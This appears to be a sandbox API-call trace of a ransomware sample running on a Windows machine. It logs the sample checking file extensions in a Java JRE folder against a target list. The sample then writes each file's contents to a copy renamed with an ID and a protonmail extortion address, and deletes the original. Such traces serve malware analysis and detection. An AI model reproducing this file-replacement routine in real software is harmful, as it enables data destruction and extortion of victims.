	[0173.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.548] lstrlenW (lpString=".doc") returned 4
	[0173.548] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString=".docx") returned 5
	[0173.548] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.548] lstrlenW (lpString=".pdf") returned 4
	[0173.548] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString=".xls") returned 4
	[0173.548] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.548] lstrlenW (lpString=".xlsx") returned 5
	[0173.548] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.548] lstrlenW (lpString=".ppt") returned 4
	[0173.548] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.549] lstrlenW (lpString=".zip") returned 4
	[0173.549] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.549] lstrlenW (lpString=".rar") returned 4
	[0173.549] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.549] lstrlenW (lpString=".bz2") returned 4
	[0173.549] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.549] lstrlenW (lpString=".7z") returned 3
	[0173.549] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.549] lstrlenW (lpString=".dbf") returned 4
	[0173.549] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.549] lstrlenW (lpString=".1cd") returned 4
	[0173.549] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0173.549] lstrlenW (lpString=".jpg") returned 4
	[0173.549] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.549] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.549] lstrlenW (lpString="deploy.jar") returned 10
	[0173.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0173.777] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5040094) returned 1
	[0173.777] CloseHandle (hObject=0x5b0) returned 1
	[0173.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20
	[0173.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0173.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.780] lstrlenW (lpString=".doc") returned 4
	[0173.780] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.780] lstrlenW (lpString=".docx") returned 5
	[0173.780] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0173.780] lstrlenW (lpString=".pdf") returned 4
	[0173.780] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.780] lstrlenW (lpString=".xls") returned 4
	[0173.780] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.780] lstrlenW (lpString=".xlsx") returned 5
	[0173.780] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0173.780] lstrlenW (lpString=".ppt") returned 4
	[0173.780] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.780] lstrlenW (lpString=".zip") returned 4
	[0173.780] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.780] lstrlenW (lpString=".rar") returned 4
	[0173.780] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.780] lstrlenW (lpString=".bz2") returned 4
	[0173.780] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.780] lstrlenW (lpString=".7z") returned 3
	[0173.781] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.781] lstrlenW (lpString=".dbf") returned 4
	[0173.781] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.781] lstrlenW (lpString=".1cd") returned 4
	[0173.781] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.781] lstrlenW (lpString=".jpg") returned 4
	[0173.781] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.781] lstrlenW (lpString=".doc") returned 4
	[0173.781] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.781] lstrlenW (lpString=".docx") returned 5
	[0173.781] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0173.781] lstrlenW (lpString=".pdf") returned 4
	[0173.781] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.781] lstrlenW (lpString=".xls") returned 4
	[0173.781] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.781] lstrlenW (lpString=".xlsx") returned 5
	[0173.781] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0173.781] lstrlenW (lpString=".ppt") returned 4
	[0173.781] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.781] lstrlenW (lpString=".zip") returned 4
	[0173.781] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.781] lstrlenW (lpString=".rar") returned 4
	[0173.781] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.781] lstrlenW (lpString=".bz2") returned 4
	[0173.781] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.782] lstrlenW (lpString=".7z") returned 3
	[0173.782] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.782] lstrlenW (lpString=".dbf") returned 4
	[0173.782] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.782] lstrlenW (lpString=".1cd") returned 4
	[0173.782] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0173.782] lstrlenW (lpString=".jpg") returned 4
	[0173.782] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.782] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.782] lstrlenW (lpString="cldrdata.jar") returned 12
	[0173.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0173.783] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3860502) returned 1
	[0173.783] CloseHandle (hObject=0x5b0) returned 1
	[0173.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20
	[0173.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0173.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.783] lstrlenW (lpString=".doc") returned 4
	[0173.783] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.783] lstrlenW (lpString=".docx") returned 5
	[0173.784] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0173.784] lstrlenW (lpString=".pdf") returned 4
	[0173.784] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.784] lstrlenW (lpString=".xls") returned 4
	[0173.784] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.784] lstrlenW (lpString=".xlsx") returned 5
	[0173.784] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0173.784] lstrlenW (lpString=".ppt") returned 4
	[0173.784] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.784] lstrlenW (lpString=".zip") returned 4
	[0173.784] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.784] lstrlenW (lpString=".rar") returned 4
	[0173.784] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.784] lstrlenW (lpString=".bz2") returned 4
	[0173.784] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.784] lstrlenW (lpString=".7z") returned 3
	[0173.784] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.784] lstrlenW (lpString=".dbf") returned 4
	[0173.784] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.784] lstrlenW (lpString=".1cd") returned 4
	[0173.784] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.784] lstrlenW (lpString=".jpg") returned 4
	[0173.784] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.784] lstrlenW (lpString=".doc") returned 4
	[0173.784] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.784] lstrlenW (lpString=".docx") returned 5
	[0173.784] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0173.785] lstrlenW (lpString=".pdf") returned 4
	[0173.785] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.785] lstrlenW (lpString=".xls") returned 4
	[0173.785] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.785] lstrlenW (lpString=".xlsx") returned 5
	[0173.785] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0173.785] lstrlenW (lpString=".ppt") returned 4
	[0173.785] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.785] lstrlenW (lpString=".zip") returned 4
	[0173.785] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.785] lstrlenW (lpString=".rar") returned 4
	[0173.785] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.785] lstrlenW (lpString=".bz2") returned 4
	[0173.785] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.785] lstrlenW (lpString=".7z") returned 3
	[0173.785] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.785] lstrlenW (lpString=".dbf") returned 4
	[0173.785] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.785] lstrlenW (lpString=".1cd") returned 4
	[0173.785] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0173.785] lstrlenW (lpString=".jpg") returned 4
	[0173.785] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.785] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.785] lstrlenW (lpString="dnsns.jar") returned 9
	[0173.786] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0173.786] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=8286) returned 1
	[0173.786] CloseHandle (hObject=0x5b0) returned 1
	[0173.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20
	[0173.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.786] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0173.786] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.787] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.787] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.790] GetLastError () returned 0x0
	[0173.790] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x205e, lpOverlapped=0x0) returned 1
	[0173.793] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2060, lpOverlapped=0x0) returned 1
	[0173.794] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.794] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0173.795] SetEndOfFile (hFile=0x5b8) returned 1
	[0173.795] CloseHandle (hObject=0x5b8) returned 1
	[0173.795] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.795] SetEndOfFile (hFile=0x5b0) returned 1
	[0173.798] CloseHandle (hObject=0x5b0) returned 1
	[0173.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.798] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1
	[0173.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.799] lstrlenW (lpString=".doc") returned 4
	[0173.799] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.799] lstrlenW (lpString=".docx") returned 5
	[0173.799] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0173.799] lstrlenW (lpString=".pdf") returned 4
	[0173.799] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.799] lstrlenW (lpString=".xls") returned 4
	[0173.799] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.799] lstrlenW (lpString=".xlsx") returned 5
	[0173.799] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0173.799] lstrlenW (lpString=".ppt") returned 4
	[0173.799] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.799] lstrlenW (lpString=".zip") returned 4
	[0173.799] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.799] lstrlenW (lpString=".rar") returned 4
	[0173.799] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.799] lstrlenW (lpString=".bz2") returned 4
	[0173.799] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.799] lstrlenW (lpString=".7z") returned 3
	[0173.799] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.799] lstrlenW (lpString=".dbf") returned 4
	[0173.799] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.800] lstrlenW (lpString=".1cd") returned 4
	[0173.800] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.800] lstrlenW (lpString=".jpg") returned 4
	[0173.800] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.800] lstrlenW (lpString=".doc") returned 4
	[0173.800] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.800] lstrlenW (lpString=".docx") returned 5
	[0173.800] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0173.800] lstrlenW (lpString=".pdf") returned 4
	[0173.800] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.800] lstrlenW (lpString=".xls") returned 4
	[0173.800] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.800] lstrlenW (lpString=".xlsx") returned 5
	[0173.800] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0173.800] lstrlenW (lpString=".ppt") returned 4
	[0173.800] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.800] lstrlenW (lpString=".zip") returned 4
	[0173.800] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.800] lstrlenW (lpString=".rar") returned 4
	[0173.800] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.800] lstrlenW (lpString=".bz2") returned 4
	[0173.800] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.800] lstrlenW (lpString=".7z") returned 3
	[0173.800] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.800] lstrlenW (lpString=".dbf") returned 4
	[0173.800] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.801] lstrlenW (lpString=".1cd") returned 4
	[0173.801] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0173.801] lstrlenW (lpString=".jpg") returned 4
	[0173.801] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.801] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.801] lstrlenW (lpString="jaccess.jar") returned 11
	[0173.801] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.803] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=44516) returned 1
	[0173.803] CloseHandle (hObject=0x5b8) returned 1
	[0173.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20
	[0173.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.804] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.804] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.804] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.804] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.804] GetLastError () returned 0x0
	[0173.804] ReadFile (in: hFile=0x5b8, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xade4, lpOverlapped=0x0) returned 1
	[0173.809] WriteFile (in: hFile=0x588, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xadf0, lpOverlapped=0x0) returned 1
	[0173.810] ReadFile (in: hFile=0x5b8, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.810] WriteFile (in: hFile=0x588, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1
	[0173.810] SetEndOfFile (hFile=0x588) returned 1
	[0173.810] CloseHandle (hObject=0x588) returned 1
	[0173.811] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.811] SetEndOfFile (hFile=0x5b8) returned 1
	[0173.819] CloseHandle (hObject=0x5b8) returned 1
